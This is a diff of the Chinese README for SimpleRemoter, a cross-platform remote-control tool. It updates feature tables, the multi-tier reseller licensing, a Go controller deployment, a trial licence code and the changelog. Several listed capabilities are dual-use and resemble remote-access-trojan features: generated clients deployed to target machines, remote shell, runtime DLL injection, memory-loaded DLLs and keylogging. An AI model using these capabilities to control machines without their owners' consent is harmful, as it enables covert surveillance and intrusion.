+| 远程桌面 | ✅ | X11 屏幕捕获 + libx264 H.264 硬件编码 |
-| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般办公 |
+| 远程终端 | ✅ | PTY 交互式 Shell |
-| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨网/视频 |
+| 文件管理 | ✅ | V2 协议、双向传输、大文件 |
-| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨网办公 |
+| 进程管理 | ✅ | 列表 + 终止 |
-| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 较差网络 |
+| 剪贴板同步 | ✅ | xclip / xsel 外部工具，支持文件 URI |
-| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 极差网络 |
+| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
+| 守护进程 | ✅ | 双 fork 守护化 |
 
-- **零额外开销**：复用心跳包计算 RTT
+**编译**：`cd linux && cmake . && make`
-- **快速降级**：2 次检测即触发，响应网络波动
-- **谨慎升级**：5 次稳定后才提升质量
-- **冷却机制**：防止频繁切换
 
-### V2 文件传输协议
+### macOS 客户端（v1.3.2+）
 
-```cpp
+**系统要求**：
-// 77 字节协议头 + 文件名 + 数据载荷
+- macOS 10.15 (Catalina) 及以上
-struct FileChunkPacketV2 {
+- 架构：Intel (x64) 和 Apple Silicon (arm64) 通用二进制
-    uint8_t   cmd;            // COMMAND_SEND_FILE_V2 = 85
+- 系统权限：屏幕录制、辅助功能、完全磁盘访问
-    uint64_t  transferID;     // 传输会话 ID
-    uint64_t  srcClientID;    // 源客户端 ID (0=主控端)
-    uint64_t  dstClientID;    // 目标客户端 ID (0=主控端, C2C)
-    uint32_t  fileIndex;      // 文件编号 (0-based)
-    uint32_t  totalFiles;     // 总文件数
-    uint64_t  fileSize;       // 文件大小（支持 >4GB）
-    uint64_t  offset;         // 当前块偏移
-    uint64_t  dataLength;     // 本块数据长度
-    uint64_t  nameLength;     // 文件名长度
-    uint16_t  flags;          // 标志位 (FFV2_LAST_CHUNK 等)
-    uint16_t  checksum;       // CRC16 校验（可选）
-    uint8_t   reserved[8];    // 预留扩展
-    // char filename[nameLength];  // UTF-8 相对路径
-    // uint8_t data[dataLength];   // 文件数据
-};
-```
 
-**特性**：
+| 功能 | 状态 | 实现 |
-- 大文件支持（uint64_t 突破 4GB 限制）
+|---|---|---|
-- 断点续传（状态持久化到 `%TEMP%\FileTransfer\`）
+| 远程桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬件编码 |
-- SHA-256 完整性校验
+| 键鼠控制 | ✅ | CGEvent，支持双击、拖拽 |
-- C2C 直传（客户端到客户端）
+| 远程终端 | ✅ | PTY 交互式 Shell（zsh/bash） |
-- V1/V2 协议兼容
+| 文件管理 | ✅ | V2 协议、大文件 |
+| 进程管理 | ✅ | proc_listpids + 终止 |
+| 剪贴板同步 | ✅ | NSPasteboard，支持文件 URL + NSFilenamesPboardType |
+| 守护模式 | ✅ | `-d` 后台运行、电源管理、空闲检测 |
 
-### 屏幕传输优化
+**编译**：`cd macos && ./build.sh`
 
-- **SSE2 指令集**：像素差分计算硬件加速
+### Go 主控（v1.3.4+）
-- **多线程并行**：线程池分块处理屏幕数据
-- **滚动检测**：识别滚动场景，减少 50-80% 带宽
-- **H.264 编码**：基于 x264，GOP 控制，视频级压缩
 
-### 安全机制
+**系统要求**：Go 1.21+（仅编译时）；二进制运行无依赖
 
-| 层级 | 措施 |
+| 能力 | 实现 |
-|------|------|
+|---|---|
-| **传输加密** | AES-256 数据加密，可配置 IV |
+| 远程桌面 | H.264 → WebSocket → WebCodecs，1080P @ 20fps |
-| **身份验证** | 签名验证 + HMAC 认证 |
+| 远程终端 | xterm.js + PTY/ConPTY 透明转发 |
-| **授权控制** | 序列号绑定（IP/域名），多级授权 |
+| 多用户 | Challenge-Response + 不透明 token + 按组授权 |
-| **文件校验** | SHA-256 完整性验证 |
+| 部署 | Nginx 反代 / Let's Encrypt / systemd unit / `/etc/environment` |
-| **会话隔离** | Session 0 独立处理 |
 
-### 依赖库
+**编译**：`cd server/go && go build -o server_linux_amd64 ./cmd`
-
-| 库 | 版本 | 用途 |
-|----|------|------|
-| zlib | 1.3.1 | 通用压缩 |
-| zstd | 1.5.7 | 高速压缩 |
-| x264 | 0.164 | H.264 编码 |
-| libyuv | 190 | YUV 转换 |
-| HPSocket | 6.0.3 | 网络 I/O |
-| jsoncpp | 1.9.6 | JSON 解析 |
 
 ---
 
 ## 系统架构
 
+### 全平台拓扑
+
 ```
-┌─────────────────────────────────────────────────────────────────────────────┐
+┌────────────────────────────────────────────────────────┐
-│                         多层授权架构 (Multi-Layer Authorization)             │
+│                       主控层                            │
-├─────────────────────────────────────────────────────────────────────────────┤
 │                                                         │
-│                          ┌─────────────────────┐                            │
+│   ┌──────────────────┐      ┌──────────────────┐       │
-│                          │    超级管理员        │                            │
+│   │  C++ MFC 主控     │      │   Go 主控         │       │
-│                          │   (授权服务器)       │                            │
+│   │  YAMA.exe        │      │ (Win/Linux/Mac)  │       │
-│                          │   Super Admin       │                            │
+│   │  Windows only    │      │  Web UI 全平台    │       │
-│                          └─────────┬───────────┘                            │
+│   └────────┬─────────┘      └────────┬─────────┘       │
-│                                    │                                         │
+└────────────┼──────────────────────────┼─────────────────┘
-│                     ┌──────────────┼──────────────┐                         │
-│                     │ V2 授权      │ V2 授权      │ V2 授权                  │
-│                     │ (ECDSA)      │ (ECDSA)      │ (ECDSA)                  │
-│                     ▼              ▼              ▼                          │
-│             ┌───────────┐  ┌───────────┐  ┌───────────┐                     │
-│             │ 第一层 A   │  │ 第一层 B   │  │ 第一层 C   │  ◄── 独立运营      │
-│             │ Layer-1 A │  │ Layer-1 B │  │ Layer-1 C │      完全隔离       │
-│             └─────┬─────┘  └─────┬─────┘  └─────┬─────┘                     │
-│                   │              │              │                            │
-│          ┌────────┴────────┐     │       ┌──────┴──────┐                    │
-│          │ V1 授权         │     │       │ V1 授权     │                    │
-│          ▼                 ▼     ▼       ▼             ▼                    │
-│    ┌──────────┐     ┌──────────┐ ...  ┌──────────┐  ┌──────────┐           │
-│    │ 下级 A1  │     │ 下级 A2  │      │ 下级 C1  │  │ 下级 C2  │           │
-│    │ Master   │     │ Master   │      │ Master   │  │ Master   │           │
-│    └────┬─────┘     └────┬─────┘      └────┬─────┘  └────┬─────┘           │
-│         │                │                 │             │                  │
-│         ▼                ▼                 ▼             ▼                  │
-│    ┌─────────┐     ┌─────────┐       ┌─────────┐   ┌─────────┐             │
-│    │ 客户端  │     │ 客户端  │       │ 客户端  │   │ 客户端  │             │
-│    │ 10,000+ │     │ 10,000+ │       │ 10,000+ │   │ 10,000+ │             │
-│    └─────────┘     └─────────┘       └─────────┘   └─────────┘             │
              │                          │
-├─────────────────────────────────────────────────────────────────────────────┤
+             │  TCP (自定义二进制协议)   │ TCP (设备) + WS (浏览器)
-│  授权类型        验证方式              特点                                   │
+             └────────┬─────────────────┘
-│  ─────────────────────────────────────────────────────────────────────────  │
+                      │
-│  V2 授权         ECDSA P-256 签名      支持离线验证，下级连接数限制            │
+       ┌──────────────┼──────────────┐
-│  V1 授权         HMAC + 在线验证       连接上级服务器验证                      │
+       ▼              ▼              ▼
-│  试用版          在线验证              功能受限，需保持连接                    │
+  ┌─────────┐    ┌─────────┐    ┌─────────┐
-└─────────────────────────────────────────────────────────────────────────────┘
+  │ Windows │    │  Linux  │    │  macOS  │
+  │ 客户端  │    │ 客户端  │    │ 客户端  │
+  │ (DXGI)  │    │  (X11)  │    │ (CG)    │
+  └─────────┘    └─────────┘    └─────────┘
 ```
 
-### 架构优势
+### 多层授权（简化视图）
 
-| 特性 | 说明 |
+```
-|------|------|
+超级管理员（授权服务器）
-| **层级控制** | 超级用户可管理任意主控程序，支持无限层级 |
+   │ V2 授权 (ECDSA P-256)
-| **完全隔离** | 不同第一层用户的授权、数据、客户端完全隔离 |
+   ▼
-| **独立运营** | 第一层用户可独立定价、发放授权，打造专属品牌 |
+第一层主控 ──┬── 第一层主控 ──┬── 第一层主控  ◄── 独立运营 / 完全隔离
-| **水平扩展** | 单 Master 支持 10,000+ 客户端，多层架构可达百万级 |
+   │ V1     │ V1            │ V1
-| **离线支持** | V2 授权支持完全离线验证，无需依赖上游服务 |
+   ▼        ▼               ▼
+下级主控 → 客户端 (10,000+) → 设备群
+```
 
-### 主控程序（Server）
+| 授权 | 验证 | 特点 |
+|---|---|---|
+| V2 授权 | ECDSA P-256 签名 | 离线验证，下级连接数限制 |
+| V1 授权 | HMAC + 在线验证 | 连接上级服务器验证 |
+| 试用版 | 在线验证 | 功能受限、连接限制（详见 [合规文档](./docs/Compliance_AntiAbuse.md)） |
 
-主控程序 **YAMA.exe** 提供图形化管理界面：
+完整说明：[多层授权方案](./docs/MultiLayerLicense.md)
-
-![主界面](./images/Yama.jpg)
-
-- 基于 IOCP 的高性能服务端
-- 客户端分组管理
-- 实时状态监控（RTT、地理位置、活动窗口）
-- 一键生成客户端
-
-### 受控程序（Client）
-
-![客户端生成](./images/TestRun.jpg)
-
-**运行形式**：
-
-| 类型 | 说明 |
-|------|------|
-| `ghost.exe` | 独立可执行文件，无外部依赖 |
-| `TestRun.exe` + `ServerDll.dll` | 分离加载，支持内存加载 DLL |
-| Windows 服务 | 后台运行，支持锁屏控制 |
-| Linux 客户端 | 跨平台支持（v1.2.5+） |
-| macOS 客户端 | 跨平台支持（v1.3.2+） |
 
 ---
 
@@ -364,62 +291,34 @@ struct FileChunkPacketV2 {
 
 无需编译，下载即用：
 
-1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
+1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
-2. **启动主控** - 运行 `YAMA.exe`，输入授权信息（见下方试用口令）
+2. **启动主控** - 运行 `YAMA.exe`（或 Linux 上的 `server_linux_amd64`），输入授权信息
-3. **生成客户端** - 点击工具栏「生成」按钮，配置服务器 IP 和端口
+3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
-4. **部署客户端** - 将生成的客户端复制到目标机器并运行
+4. **部署客户端** - 复制到目标机器运行
-5. **开始控制** - 客户端上线后，双击即可打开远程桌面
+5. **开始控制** - 客户端上线后双击远程桌面
 
 > [!TIP]
 > 首次测试建议在同一台机器上运行主控和客户端，使用 `127.0.0.1` 作为服务器地址。
 
-### 编译要求
+### Go 主控部署（VPS）
 
-- **操作系统**：Windows 10/11 或 Windows Server 2016+
+参见 [Web 远程桌面配置](./docs/WebHTTPS.md)。最小步骤：
-- **开发环境**：Visual Studio 2019 / 2022 / 2026
-- **SDK**：Windows 10 SDK (10.0.19041.0+)
-
-### 编译步骤
 
 ```bash
-# 1. 克隆代码（必须使用 git clone，不要下载 zip）
+# 1. 在 VPS 上跑 Go 主控
-git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
+nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
-# 2. 打开解决方案
+# 2. nginx 反代 9001 到 HTTPS
-#    使用 VS2019+ 打开 SimpleRemoter.sln
+#    详见 docs/WebHTTPS.md
 
-# 3. 选择配置
+# 3. 浏览器打开 https://yourdomain.com/，登录、添加客户端
-#    Release | x86 或 Release | x64
-
-# 4. 编译
-#    生成 -> 生成解决方案
 ```
 
-**常见问题**：
+### 试用授权（v1.2.4+）
-- 依赖库冲突：[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
-- 非中文系统乱码：[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
-- 编译器兼容性：[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
 
-### 部署方式
+提供 2 年有效期、20 并发连接、仅限内网的试用口令：
-
-#### 内网部署
-
-主控与客户端在同一局域网，客户端直连主控 IP:Port。
-
-#### 外网部署（FRP 穿透）
 
 ```
-客户端 ──> VPS (FRP Server) ──> 本地主控 (FRP Client)
-```
-
-详细配置请参考：[反向代理部署说明](./反向代理.md)
-
-### 授权说明
-
-自 v1.2.4 起提供试用口令（2 年有效期，20 并发连接，仅限内网）：
-
-```
-授权方式：按计算机 IP 绑定
 主控 IP：127.0.0.1
 序列号：12ca-17b4-9af2-2894
 密码：20260201-20280201-0020-be94-120d-20f9-919a
@@ -430,286 +329,129 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
 > [!NOTE]
 > **多层授权方案**
 >
-> SimpleRemoter 采用企业级多层授权架构，支持代理商/开发者独立运营：
+> 支持代理商/开发者独立运营：第一层用户获得授权后可完全离线使用，下级用户只连接到您的服务器。完整说明：[多层授权方案](./docs/MultiLayerLicense.md)
-> - **离线验证**：第一层用户获得授权后可完全离线使用
+
-> - **独立控制**：您的下级用户只连接到您的服务器，数据完全由您掌控
+### 编译
-> - **自由定制**：支持二次开发，打造您的专属版本
+
->
+- **C++ 主控 & Windows 客户端**：VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
-> 📖 **[查看完整授权方案说明](./docs/MultiLayerLicense.md)**
+- **Linux 客户端**：`cd linux && cmake . && make`
+- **macOS 客户端**：`cd macos && ./build.sh`
+- **Go 主控**：`cd server/go && go build ./cmd`
 
 ---
 
 ## 用户文档
 
-针对不同用户角色提供完整的使用文档：
+| 文档 | 适用对象 | 内容 |
-
+|---|---|---|
-| 文档 | 适用对象 | 内容简介 |
+| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟首次部署 |
-|------|---------|---------|
+| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 多级网络架构 |
-| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟完成首次部署，导入授权、配置网络、生成受管程序 |
+| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 全功能详解 |
-| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 构建总控→二级→受管端的多级网络架构 |
+| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权、FRP 配置 |
-| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 远程桌面、文件管理、终端、进程管理等功能详解 |
+| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、二次开发 |
-| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权管理、FRP 代理服务配置 |
+| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端 / Go 主控用户 | HTTPS 反代、域名配置 |
-| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、界面修改、二次开发 |
+| 📖 [反滥用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合规边界、责任划分 |
-| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端用户 | 通过浏览器访问远程桌面，支持手机/平板 |
+| 📖 [反滥用技术措施](./docs/Compliance_TechnicalMeasures.md) | 合规审查方 | 屏障代码位置 + 设计动机 |
-
----
-
-## 客户端支持
-
-### Windows 客户端
-
-**系统要求**：Windows 7 SP1 及以上
-
-**功能完整性**：✅ 全部功能支持
-
-### Linux 客户端（v1.2.5+）
-
-**系统要求**：
-- 显示服务器：X11/Xorg（暂不支持 Wayland）
-- 必需库：libX11
-- 推荐库：libXtst（XTest 扩展）、libXss（空闲检测）
-
-**功能支持**：
-
-| 功能 | 状态 | 实现 |
-|------|------|------|
-| 远程桌面 | ✅ | X11 屏幕捕获，鼠标/键盘控制 |
-| 远程终端 | ✅ | PTY 交互式 Shell |
-| 文件管理 | ✅ | 双向传输，大文件支持 |
-| 进程管理 | ✅ | 进程列表、终止进程 |
-| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 守护进程 | ✅ | 双 fork 守护化 |
-| 剪贴板 | ⏳ | 开发中 |
-| 会话管理 | ⏳ | 开发中 |
-
-**编译方式**：
-
-```bash
-cd linux
-cmake .
-make
-```
-
-### macOS 客户端（v1.3.2+）
-
-**系统要求**：
-- macOS 10.15 (Catalina) 及以上
-- 架构支持：Intel (x64) 和 Apple Silicon (arm64) 通用二进制
-- 需要授予系统权限：屏幕录制、辅助功能、完全磁盘访问
-
-**功能支持**：
-
-| 功能 | 状态 | 实现 |
-|------|------|------|
-| 远程桌面 | ✅ | CoreGraphics 屏幕捕获，VideoToolbox H.264 硬件编码 |
-| 鼠标控制 | ✅ | CGEvent 模拟，支持双击、拖拽 |
-| 键盘控制 | ✅ | CGEvent 模拟，完整键码映射 |
-| 光标同步 | ✅ | 实时同步远程光标样式 |
-| 远程终端 | ✅ | PTY 交互式 Shell（zsh/bash） |
-| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
-| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 分组管理 | ✅ | 持久化配置文件 |
-| 进程管理 | ⏳ | 开发中 |
-| 剪贴板 | ⏳ | 开发中 |
-
-**编译方式**：
-
-```bash
-cd macos
-./build.sh
-# 或手动编译：
-# mkdir build && cd build && cmake .. && make
-```
 
 ---
 
 ## 更新日志
 
-### v1.3.3 (2026.5.10)
+### v1.3.5 (2026.5.31)
 
-**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
+**硬件编码扩展（H.264 / AV1）& 多客户许可证生产化 & FRP 子级自动化**
 
 **新功能：**
-- **服务端身份校验（Layer 1）**：Linux/macOS 客户端 HMAC-SHA256 校验服务端身份，未授权服务端无法触发任何子连接
+- **客户端硬件编码**：新增 FFmpeg 路径的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`，可调用 NVENC / Quick Sync / AMF 等 GPU 编码器；`EncoderFactory` 运行时自动优选
-- **子连接认证（Layer 2，TOKEN_CONN_AUTH）**：所有子连接首包签名 + clientID 钉死，解决 NAT/127.0.0.1 路由错位
+- **静屏跳编码**：捕获层比对前后帧，完全相同时跳过编码与传输——硬件编码器在静屏不再被强行喂入相同帧
-- **Linux 客户端**：H.264 硬件编码（动态加载 libx264）、XFixes 光标类型检测、UTF-8 协议能力位
+- **菜单驱动的压缩 / 解压**：自定义文件 + 文件夹选择器（`ZstaPickerDlg`），可从远程主机直接选混合目录树打包或解压到目标路径
-- **macOS 客户端**：文件管理器、远程终端（共享 PTYHandler）、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
+- **下级主控自动起 frp client**：上级签发 V2 授权时一并下发 frp 配置，子级主控启动即接通中继链路，无需人工配 `frpc.toml`
-- **主控**：屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
+- **合规可裁剪构建**：`DISABLE_X264` / `DISABLE_FFMPEG` 编译开关，可在不动源码的前提下产出完全不带 x264 / FFmpeg 的二进制，配套 `LICENSE-THIRD-PARTY.txt`
-
-**重构：**
-- Linux/macOS 客户端共享代码抽到 `common/`（rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread），减少 ~300 行重复
 
 **改进：**
-- 现代终端 SYSTEM 兼容：自动回退到经典终端，信息列表给出精确原因
+- **多客户许可证服务端硬化**：`licenses.ini` hot-path 互斥锁 + 30s 节流，写频从 0.6 → 0.07 次/秒（外推 100 在线：~160 → ~3.3 次/秒）；闭环了"预设续期配额消失"的 read-modify-write 竞态
-- `build.ps1` 增加 `vswhere` 兜底（VS 装非默认盘也能找到）
+- **`licenses.ini` IP 列表 4KB 截断修复**：分段写入避免溢出尾部被永久丢弃
-- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
+- **导入 SN 按 `BindType` 严格校验**：避免离线版 / 在线版 / 试用版 SN 串库
-- macOS `install.sh` 源 binary 优先级优化（命令行 → 同目录 → build/bin），适配分发场景
+- **客户端 SCLoader 大瘦身**：移除一万行硬编码 stub（`SCLoader.cpp`），改用主控运行时下发 DLL 注入
+- **客户端 logger 优雅退出**：进程退出刷出队列里的日志并记录退出信号
+- **IOCPClient 早期数据包防护**：`setManagerCallBack` 之前抵达的包不再触发空回调崩溃
+- **多显示器光标位置修正 & MJPEG 录制翻转修复**：trace cursor 跨屏坐标系修正；MJPEG 上下颠倒回放修正 + 编码失败 0 字节 AVI 残留清理
+- **FRP `privilegeKey` 改用 UTC 时间戳**：跨时区主控 / 中继 / 客户端不再因本地时区让 frp auth 失效
+- **Linux 客户端 `install.sh` / `uninstall.sh`**：补齐一键部署 / 卸载脚本
+- **Go 服务端构建管线**：`build.ps1` / `build.cmd` 把 Go 主控纳入主构建
+- **Release / Download 链接全量迁移到 Gitea**：v1.3.4+ 不再发到 GitHub
 
 **Bug 修复：**
-- V2 文件传输在文件管理器对话框双向均损坏（上传 IP 路由错乱 + 下载 chunk 未分发）
+- Web 文件管理触屏双击不稳：触摸阈值放宽防误判拖拽 + 两次 `click` 模拟物理双击；修复跨平台文件夹重命名 / 点击无响应
-- 现代终端在 SYSTEM 权限下空白（WebView2 不支持 LocalSystem）
+- 向 sub-master 发送 AUTH 时密码生成路径错误，下级始终认证失败
-- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
+- 试用 SN 误进入 V2 / V1 授权下发分支
-- 日志列表表头点击错排序到主机列表
+
-- LVM_SETUNICODEFORMAT 后表头排序失效（补充 HDN_ITEMCLICKW 映射）
+### v1.3.4 (2026.5.20)
-- 服务+代理 Release 模式托盘图标不显示
+
-- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
+**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
-- 文件对话框 map 野指针崩溃
+
-- 重连时未清回调导致访问已销毁 handler 崩溃
+**新功能：**
-- MFC 与 Web 远程桌面会话未完全独立
+- **Go 主控**：Go 语言实现的跨平台轻量主控服务（Windows / Linux / macOS），聚焦于"远程桌面 + 远程终端 + 多用户分级"——不替代 MFC 主控，为需要纯 Linux/macOS 落地的运维场景兜底
-- macOS 锁屏状态远程桌面启动时未唤醒显示器
+- **Web 远程桌面（Go 主控）**：H.264 → WebSocket → WebCodecs 解码、1080P @ 20fps、桌面 + 移动端全适配；远程光标同步、Keyboard Lock 防 ESC/F11 误退、控制态下 F11/Esc 直传目标
-- MFC 远程桌面触控板双指滚动失效
+- **Web 远程终端（Go 主控）**：xterm.js + PTY/ConPTY 透明转发、调整尺寸、断开自动清理面板
+- **多用户体系（Go 主控）**：管理员/普通用户分级、按设备组授权、Challenge-Response 登录、登录限流（IP + 用户名）、不透明 token
+- **Linux 客户端剪贴板**：基于 xclip / xsel 的双向剪贴板同步，支持 `text/uri-list` 文件路径
+- **macOS 客户端剪贴板**：基于 NSPasteboard 的双向剪贴板同步，文件 URL + 旧版 API 兼容
+
+**改进：**
+- Web 会话自适应质量被 clamp 到 H264-only 等级（≥ Good），避免 Ultra/High（DIFF/RGB565）让浏览器无法解码
+- Linux 客户端默认 `QualityLevel` 改为 `QUALITY_GOOD`（对齐 Windows/macOS），不再请求服务端自适应
+- 登录文本字段按客户端能力位条件解码 UTF-8 / GBK，修正德文/法文等带变音符的主机名 / 地理位置乱码
+- 设备列表稳定排序（按上线时间），避免每次心跳 / WS 推送都洗牌
+- RDP 重置按钮接通到设备端 `CMD_RESTORE_CONSOLE`
+- MFC 主控开启 Web 远控会话时不再短暂闪一下窗口（OnInitDialog 会话判定上移）
+
+**Bug 修复：**
+- Web 会话从全屏点关闭后设备列表点击失灵（fullscreen 子树规则，`showPage` 统一退全屏）
+- 客户端突然断开后 Web 远控页面停留在 "Connected" 永不刷新（新增 `device_offline` 通知）
+- 多显示器轮询导致两路屏幕子连接同时灌帧，画面在两个显示器间跳变（`BindScreenConn` 退役旧 sub-conn）
+- Go 主控 `ListDevices` 因 map 迭代随机化导致列表乱序
+
+### v1.3.3 (2026.5.10)
+
+**Linux/macOS 客户端深化 & 双层认证安全**
+
+- 服务端身份校验（Layer 1）：Linux/macOS 客户端 HMAC-SHA256 校验服务端身份
+- 子连接认证（Layer 2，TOKEN_CONN_AUTH）：所有子连接首包签名 + clientID 钉死
+- Linux 客户端：H.264 硬件编码、XFixes 光标类型检测、UTF-8 协议能力位
+- macOS 客户端：文件管理器、远程终端、剪贴板同步、守护进程模式
+- 主控：屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤
+- 共享代码抽到 `common/`（rtt_estimator / client_auth_state / posix_net_helpers）
 
 ### v1.3.2 (2026.5.1)
 
 **macOS 客户端 & Web 远程桌面增强**
 
-**新功能：**
+- 全新 macOS 原生客户端：屏幕捕获、H.264 编码、键鼠控制
-- macOS 客户端支持：全新实现的 macOS 原生客户端，支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
+- Web 远程桌面光标同步
-- Web 远程桌面光标同步：浏览器端实时显示远程主机光标样式
+- 触发器功能、用户管理（角色权限）
-- 触发器功能：支持主机上线事件触发自定义操作
+- DLL 执行增强、远程桌面输入法切换
-- 用户管理功能：新增角色权限管理，支持多用户分级控制
-- DLL 执行增强：参数持久化存储、支持自动运行配置
-- 远程桌面输入法切换：支持远程切换被控端输入语言
-
-**改进：**
-- Web 远程桌面手势优化：改进双指手势识别、双击拖拽、Shift 组合键支持
-
-**Bug 修复：**
-- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
-- 修复 macOS 完全磁盘访问权限检测不准确的问题
-- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
-- 修复多个 DLL 同时执行可能因全局变量冲突而失败
-- 修复鼠标双击和远程桌面切换问题
-- 修复 Linux 客户端编译缺少 libzstd.a 的问题
 
 ### v1.3.1 (2026.4.15)
 
-**Web 远程桌面 & 多主控共享增强**
+**Web 远程桌面（MFC 主控） & 多主控共享增强**
 
-**新功能：**
+- Web 远程桌面：基于 WebSocket 实现，手机/平板浏览器访问
-- Web 远程桌面：基于 WebSocket 实现，支持手机/平板通过浏览器访问远程桌面（[配置指南](./docs/WebHTTPS.md)）
+- 多显示器禁用自适应、状态栏过期日期自动更新
-- 撤销共享菜单：支持撤销已共享给其他主控的客户端
+- 多层授权自动更新、DLL 缓存复用
-- 工具栏音频控制：远程桌面工具栏新增系统音频开关图标
-
-**改进：**
-- 多显示器禁用自适应：客户端有多个显示器时自动禁用自适应质量
-- 状态栏过期日期自动更新：授权续期后状态栏立即刷新
-- 减少无效离线日志：客户端不在主机列表时减少离线日志输出
-- 多层授权自动更新：第二层及以下主控的授权自动同步更新
-- 使用提示增强：新增多处操作提示改善用户体验
-- DLL 缓存复用：将 DLL 保存到注册表，下次启动时直接复用
-
-**Bug 修复：**
-- 修复共享客户端时键盘记录可能无法正常工作的问题
 
 ### v1.3.0 (2026.4.8)
 
 **多层级 FRP 架构 & 品牌定制**
 
-**新功能：**
+- 本地 FRPS 服务器、多层级架构自动 FRP 集成
-- 本地 FRPS 服务器支持（仅 64 位）：内置 FRP 服务端，简化部署
+- V2 授权下级连接数限制、许可证文件导入/导出
-- 多层级架构自动 FRP 集成：下级主控自动获取上级 FRP 配置
+- 增强型硬件 ID (V2)、UI 品牌定制
-- V2 授权下级连接数限制：支持控制下级并发连接数
+- 运行时功能限制可配置
-- 许可证文件导入/导出支持（.lic 格式）
-- 过期授权续期支持：无需重新生成许可证
-- 增强型硬件 ID (V2)：解决 VPS 重复 SN 问题
-- MaxDepth 控制：限制分级 Master 层级深度
-- 许可证管理增强：配额支持、动态对话框、删除功能
-- IP 定位 API 多提供商回退：提高定位成功率
-- UI 品牌定制：支持自定义程序名称、Logo、版权等
-- 运行时功能限制：试用版功能限制可配置
-- 输入历史下拉框：快速选择历史输入
-- 生成客户端新增选项：更多自定义配置
-- 支持动态修改项目链接：无需重新编译更换帮助/反馈链接
 
-**Bug 修复：**
+### 更早版本
-- 修复 RebuildFilteredIndices 的 Use-after-free 崩溃
-- 修复 CLock::Lock 中 IOCP 竞态条件崩溃 (#215)
-- 修复崩溃保护服务清理和代理提升问题
-- 修复消息日志无限增长导致的潜在崩溃
-- 修复 FeatureFlags 引入后 UpperHash 字符串长度问题
-- 修复客户端 SN 生成以支持 HWIDVersion 设置
 
-**改进：**
+v1.2.x 系列（邮件通知、远程音频 Opus、V2 授权协议、V2 文件传输、现代 Web 终端 xterm.js、远程桌面工具栏重写、自适应质量控制、Linux 客户端初版……）及 2019 年以来的全部演进，请见 [history.md](./history.md)。
-- 重构 res/ 目录结构，添加菜单图标
-- 过期密码不再被自动清除
-- 保持下级主控与第一层主控的连接稳定
-
-### v1.0.2.9 (2026.3.27)
-
-**网络安全 & 稳定性增强**
-
-**新功能：**
-- 网络配置对话框：IP 白名单/黑名单管理，实时生效
-- 可配置的连接限流：DLL 请求限流、IP 封禁阈值可调
-- IP 历史记录对话框：查看授权 IP 登录历史
-- 状态栏显示 MTBF/运行时间和授权到期日期
-- 代理崩溃保护：5 分钟内 3 次崩溃自动切换普通模式
-- 客户端搜索功能：Ctrl+F 快速搜索 IP、位置、计算机名
-- 自动封禁异常 IP：60 秒内超过 15 次连接自动封禁 1 小时
-- Proxy Protocol v2 支持：FRP 代理后获取真实客户端 IP
-- Linux 剪贴板同步和 V2 文件传输支持
-- 右键菜单运行客户端程序
-- 多层授权混淆支持
-
-**Bug 修复：**
-- 修复 OnUserOfflineMsg 竞态条件导致的崩溃
-- 修复客户端请求 FRPC DLL 时 FrpcParam 丢失
-- 最大数据包从 10MB 增加到 50MB
-- 支持 mstsc 远程会话读取用户注册表
-- 修复远程桌面最小化时剪贴板误触发
-- 修复操作进程对话框时主控崩溃
-- 状态栏主机数量实时更新
-- Linux select() 调用前重置 timeval
-- 授权码格式验证，过滤垃圾数据
-
-**改进：**
-- 增强授权检查，添加 IP 封禁提示
-- 支持主控程序以用户权限运行
